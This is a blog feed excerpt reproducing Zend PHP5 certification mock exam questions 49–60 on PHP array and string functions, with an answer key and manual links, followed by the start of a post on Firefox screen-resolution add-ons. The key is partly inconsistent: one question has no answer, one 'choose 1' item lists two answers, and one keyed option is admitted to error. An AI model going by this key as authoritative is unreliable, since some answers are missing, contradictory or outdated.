&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.split.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.split.php&lt;/a&gt;, &lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.preg-match-all.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.preg-match-all.php&lt;/a&gt;, &lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.explode.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.explode.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;49. If you wanted a variable containing the letters A through Z, that allowed you to access each letter independently, which of the following approaches could you use?&lt;/b&gt; (Choose 3 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; $str = «ABCDEFGHIJKLMNOPQRSTUVWXYZ»;&lt;/li&gt;
&lt;li&gt; range(&#39;A&#39;, &#39;Z&#39;);&lt;/li&gt;
&lt;li&gt; explode(«», «ABCDEFGHIJKLMNOPQRSTUVWXYZ»);&lt;/li&gt;
&lt;li&gt; You would use the ALPHA_ARRAY constant&lt;/li&gt;
&lt;li&gt; None of the above&lt;/li&gt;
&lt;/ol&gt;
Answer: A, B, C (but C is error in mock test, see manual about delimeter)&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.range.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.range.php&lt;/a&gt;, &lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.explode.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.explode.php&lt;/a&gt; (Warning: explode(): Empty delimiter.)&lt;br /&gt;
&lt;b&gt;50. What is the output of the following code block?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$array = array(1 =&amp;gt; 0, 2, 3, 4);&lt;br /&gt;
array_splice($array, 3, count($array), array_merge(array(&#39;x&#39;), array_slice($array, 3)));&lt;br /&gt;
print_r($array);&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; 1 =&amp;gt; 1, 2 =&amp;gt; 2, 3 =&amp;gt; x, 4=&amp;gt; 4&lt;/li&gt;
&lt;li&gt; 0 =&amp;gt; 1, 2 =&amp;gt; 2, 3 =&amp;gt; 3, 4 =&amp;gt; 4, x =&amp;gt; 3&lt;/li&gt;
&lt;li&gt; 0 =&amp;gt; 0, 1=&amp;gt; 2, 2 =&amp;gt; 3, 3 =&amp;gt; x, 4 =&amp;gt; 4&lt;/li&gt;
&lt;li&gt; 0 =&amp;gt; x, 1 =&amp;gt; 0, 2 =&amp;gt; 1, 3=&amp;gt; 2, 4=&amp;gt;3&lt;/li&gt;
&lt;li&gt; 1 =&amp;gt; 1, 3 =&amp;gt; x, 2 =&amp;gt; 2, 4 =&amp;gt; 4&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.array-slice.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.array-slice.php&lt;/a&gt;, &lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.array-merge.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.array-merge.php&lt;/a&gt;, &lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.array-splice.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.array-splice.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;51. Which function would you use to add an element to the beginning of an array?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; array_shift()&lt;/li&gt;
&lt;li&gt; array_push();&lt;/li&gt;
&lt;li&gt; $array[0] = «value»;&lt;/li&gt;
&lt;li&gt; array_unshift()&lt;/li&gt;
&lt;li&gt; array_pop();&lt;/li&gt;
&lt;/ol&gt;
Answer: D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.array-unshift.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.array-unshift.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;52. Which key will not be displayed from the following code block?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$array = array(&#39;a&#39; =&amp;gt; &#39;John&#39;,&lt;br /&gt;
&#39;b&#39; =&amp;gt; &#39;Coggeshall&#39;,&lt;br /&gt;
&#39;c&#39; =&amp;gt; array(&#39;d&#39; =&amp;gt; &#39;John&#39;,&lt;br /&gt;
&#39;e&#39; =&amp;gt; &#39;Smith&#39;));&lt;br /&gt;
function display($item, $key) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;print &quot;$key =&amp;gt; $item\n&quot;;&lt;br /&gt;
}&lt;br /&gt;
array_walk_recursive($array, &quot;display&quot;);&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; d&lt;/li&gt;
&lt;li&gt; c&lt;/li&gt;
&lt;li&gt; b&lt;/li&gt;
&lt;li&gt; a&lt;/li&gt;
&lt;li&gt; They all will be displayed&lt;/li&gt;
&lt;/ol&gt;
Answer: B&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.array-walk-recursive.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.array-walk-recursive.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;53. What is the result of the following code snippet?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$array = array(&#39;a&#39; =&amp;gt; &#39;John&#39;,&lt;br /&gt;
&#39;b&#39; =&amp;gt; &#39;Coggeshall&#39;,&lt;br /&gt;
&#39;c&#39; =&amp;gt; array(&#39;d&#39; =&amp;gt; &#39;John&#39;,&lt;br /&gt;
&#39;e&#39; =&amp;gt; &#39;Smith&#39;));&lt;br /&gt;
function something($array) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;extract($array);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;return $c[&#39;e&#39;];&lt;br /&gt;
}&lt;br /&gt;
print something($array);&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; Smith&lt;/li&gt;
&lt;li&gt; A PHP Warning&lt;/li&gt;
&lt;li&gt; Coggeshall&lt;/li&gt;
&lt;li&gt; NULL&lt;/li&gt;
&lt;li&gt; Array&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.extract.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.extract.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;54. What should go in the missing line ????? below to produce the output shown?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$array_one = array(1,2,3,4,5);&lt;br /&gt;
$array_two = array(&#39;A&#39;, &#39;B&#39;, &#39;C&#39;, &#39;D&#39;, &#39;E&#39;);&lt;br /&gt;
???????&lt;br /&gt;
print_r($array_three);&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;i&gt;Result:&lt;br /&gt;
Array&lt;br /&gt;
(&lt;br /&gt;
[5] =&amp;gt; A&lt;br /&gt;
[4] =&amp;gt; B&lt;br /&gt;
[3] =&amp;gt; C&lt;br /&gt;
[2] =&amp;gt; D&lt;br /&gt;
[1] =&amp;gt; E&lt;br /&gt;
)&lt;/i&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; $array_three = array_merge(array_reverse($array_one), $array_two);&lt;/li&gt;
&lt;li&gt; $array_three = array_combine($array_one, $array_two);&lt;/li&gt;
&lt;li&gt; $array_three = array_combine(array_reverse($array_one), $array_two);&lt;/li&gt;
&lt;li&gt; $array_three = array_merge($array_one, $array_two);&lt;/li&gt;
&lt;li&gt; $array_three = array_reverse($array_one) + $array_two;&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.array-combine.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.array-combine.php&lt;/a&gt;, &lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.array-reverse.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.array-reverse.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;55. Which of the following functions are used with the internal array pointer to accomplish an action?&lt;/b&gt; (Choose 4 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; key&lt;/li&gt;
&lt;li&gt; forward&lt;/li&gt;
&lt;li&gt; prev&lt;/li&gt;
&lt;li&gt; current&lt;/li&gt;
&lt;li&gt; next&lt;/li&gt;
&lt;/ol&gt;
Answer: A, C, D, E&lt;br /&gt;
http://php.net/manual/en/function.key.php, &lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/function.prev.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/function.prev.php&lt;/a&gt;, &lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/function.current.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/function.current.php&lt;/a&gt;, &lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/function.next.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/function.next.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;56. Given the following array, the fastest way to determine the total number a particular value appears in the array is to use which function:&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;i&gt;$array = array(1,1,2,3,4,4,5,6,6,6,6,3,2,2,2);&lt;/i&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; array_total_values&lt;/li&gt;
&lt;li&gt; array_count_values&lt;/li&gt;
&lt;li&gt; A foreach loop&lt;/li&gt;
&lt;li&gt; count&lt;/li&gt;
&lt;li&gt; a for loop&lt;/li&gt;
&lt;/ol&gt;
Answer: B&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.array-count-values.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.array-count-values.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;57. The ____ construct is particularly useful to assign your own variable names to values within an array.&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; array_get_variables&lt;/li&gt;
&lt;li&gt; current&lt;/li&gt;
&lt;li&gt; each&lt;/li&gt;
&lt;li&gt; import_variables&lt;/li&gt;
&lt;li&gt; list&lt;/li&gt;
&lt;/ol&gt;
Answer: E&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.list.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.list.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;58. The following code snippet displays what for the resultant array?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$a = array(1 =&amp;gt; 0, 3 =&amp;gt; 2, 4 =&amp;gt; 6);&lt;br /&gt;
$b = array(3 =&amp;gt; 1, 4 =&amp;gt; 3, 6 =&amp;gt; 4);&lt;br /&gt;
print_r(array_intersect($a, $b));&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; 1 =&amp;gt; 0&lt;/li&gt;
&lt;li&gt; 1 =&amp;gt; 3, 3 =&amp;gt; 1, 4 =&amp;gt; 3&lt;/li&gt;
&lt;li&gt; 3 =&amp;gt; 1, 3=&amp;gt; 2, 4 =&amp;gt; 3, 4=&amp;gt; 6&lt;/li&gt;
&lt;li&gt; 1 =&amp;gt; 0, 3 =&amp;gt; 2, 4 =&amp;gt; 6&lt;/li&gt;
&lt;li&gt; An empty Array&lt;/li&gt;
&lt;/ol&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.array-intersect.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.array-intersect.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;59. Which of the following are not valid ways to embed a variable into a string?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; $a = «Value: $value-&amp;gt;getValue()»;&lt;/li&gt;
&lt;li&gt; $a = «Value: {$value}»;&lt;/li&gt;
&lt;li&gt; $a = &#39;Value: $value&#39;;&lt;/li&gt;
&lt;li&gt; $a = «Value: $value»;&lt;/li&gt;
&lt;li&gt; $a = «Value: {$value[&#39;val&#39;]}»;&lt;/li&gt;
&lt;/ol&gt;
Answer: A, C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/language.types.string.php#language.types.string.syntax.double&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/language.types.string.php#language.types.string.syntax.double&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;60. What variable reference would go in the spots indcated by ????? in the code segment below?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$msg = &quot;The Quick Brown Foxed Jumped Over the Lazy Dog&quot;;&lt;br /&gt;
$state = true;&lt;br /&gt;
$retval = &quot;&quot;;&lt;br /&gt;
for($i = 0; (isset(??????)); $i++) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;if($state) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$retval .= strtolower(?????);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;} else {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$retval .= strtoupper(?????);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
$state = !$state;&lt;br /&gt;
}&lt;br /&gt;
print $retval;&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; $msg{$i}&lt;/li&gt;
&lt;li&gt; ord($msg);&lt;/li&gt;
&lt;li&gt; chr($msg);&lt;/li&gt;
&lt;li&gt; substr($msg, $i, 2);&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.isset.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.isset.php&lt;/a&gt;&lt;br /&gt;
&lt;!-- google_ad_section_end --&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: right;&quot;&gt;
&lt;script charset=&quot;utf-8&quot; src=&quot;//yandex.st/share/share.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;

&lt;div class=&quot;yashare-auto-init&quot; data-yasharel10n=&quot;ru&quot; data-yasharequickservices=&quot;gplus,vkontakte,facebook,twitter,yaru,odnoklassniki,moimir,lj,friendfeed,moikrug,evernote,greader,liveinternet,linkedin&quot; data-yasharetype=&quot;none&quot;&gt;
&lt;span class=&quot;b-share&quot;&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__gplus&quot; data-service=&quot;gplus&quot; href=&quot;http://share.yandex.ru/go.xml?service=gplus&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-1%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%201%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;Google Plus&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_gplus&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__vkontakte&quot; data-service=&quot;vkontakte&quot; href=&quot;http://share.yandex.ru/go.xml?service=vkontakte&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-1%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%201%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;ВКонтакте&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_vkontakte&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__facebook&quot; data-service=&quot;facebook&quot; href=&quot;http://share.yandex.ru/go.xml?service=facebook&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-1%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%201%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;Facebook&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_facebook&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__twitter&quot; data-service=&quot;twitter&quot; href=&quot;http://share.yandex.ru/go.xml?service=twitter&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-1%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%201%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;Twitter&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_twitter&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__yaru&quot; data-service=&quot;yaru&quot; href=&quot;http://share.yandex.ru/go.xml?service=yaru&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-1%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%201%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;Я.ру&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_yaru&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__odnoklassniki&quot; data-service=&quot;odnoklassniki&quot; href=&quot;http://share.yandex.ru/go.xml?service=odnoklassniki&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-1%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%201%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;Одноклассники&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_odnoklassniki&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__moimir&quot; data-service=&quot;moimir&quot; href=&quot;http://share.yandex.ru/go.xml?service=moimir&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-1%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%201%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;Мой Мир&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_moimir&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__lj&quot; data-service=&quot;lj&quot; href=&quot;http://share.yandex.ru/go.xml?service=lj&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-1%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%201%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;LiveJournal&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_lj&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__friendfeed&quot; data-service=&quot;friendfeed&quot; href=&quot;http://share.yandex.ru/go.xml?service=friendfeed&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-1%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%201%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;FriendFeed&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_friendfeed&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__moikrug&quot; data-service=&quot;moikrug&quot; href=&quot;http://share.yandex.ru/go.xml?service=moikrug&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-1%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%201%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;Мой Круг&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_moikrug&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__evernote&quot; data-service=&quot;evernote&quot; href=&quot;http://share.yandex.ru/go.xml?service=evernote&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-1%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%201%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;Evernote&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_evernote&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__greader&quot; data-service=&quot;greader&quot; href=&quot;http://share.yandex.ru/go.xml?service=greader&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-1%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%201%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;Google Reader&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_greader&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__liveinternet&quot; data-service=&quot;liveinternet&quot; href=&quot;http://share.yandex.ru/go.xml?service=liveinternet&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-1%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%201%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;LiveInternet&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_liveinternet&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__linkedin&quot; data-service=&quot;linkedin&quot; href=&quot;http://share.yandex.ru/go.xml?service=linkedin&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-1%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%201%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;LinkedIn&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_linkedin&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://haythamhosney.blogspot.com/feeds/302913152157263746/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://haythamhosney.blogspot.com/2013/02/zend-php5-certification-mock-exam.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/302913152157263746'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/302913152157263746'/><link rel='alternate' type='text/html' href='http://haythamhosney.blogspot.com/2013/02/zend-php5-certification-mock-exam.html' title='Zend PHP5 Certification Mock Exam Sample Questions — 1'/><author><name>haytham Hosney</name><uri>http://www.blogger.com/profile/08973214026428213555</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3138548880507154050.post-3126411798543725460</id><published>2012-02-26T12:50:00.002-08:00</published><updated>2012-02-26T12:50:48.308-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="3 Firefox Plugins To Test Your Website In Different Resolutions"/><title type='text'>3 Firefox Plugins To Test Your Website In Different Resolutions</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;One of the difficulties in designing for the Internet is figuring out  what your site would look like with different screen resolutions.&amp;nbsp; A  while back the most common screen resolution was 800×600.&amp;nbsp; Later, as  computers improved and screens   got larger, the most common screen size  was 1024×768.&amp;nbsp; Now, monitors are larger than ever and there are many  different sizes going on.&amp;nbsp; One   of the tasks of a web designer is to  see what their site will look like   at the most common resolutions  (check out &lt;a href=&quot;http://www.makeuseof.com/dir/viewlikeus-test-website-in-different-resolutions/&quot;&gt;ViewLike.Us&lt;/a&gt;). &lt;br /&gt;
Well there are also Firefox add-ons that will make the task of  testing your website in different resolutions easier.&amp;nbsp; Here I have  listed 3 Firefox add-ons to choose from. In fact, each add-on I will be  sharing with you will have appeal for different types of users.&amp;nbsp;  Different users find different types of shortcuts quicker and easier.&amp;nbsp;  Which one is right for  you?&amp;nbsp; Let’s find out by taking a quick peek at  each of them.&lt;br /&gt;
&lt;h3&gt;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/5792&quot;&gt;Firesizer&lt;/a&gt;&lt;/h3&gt;The first one is called &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/5792&quot;&gt;Firesizer&lt;/a&gt;.&lt;br /&gt;
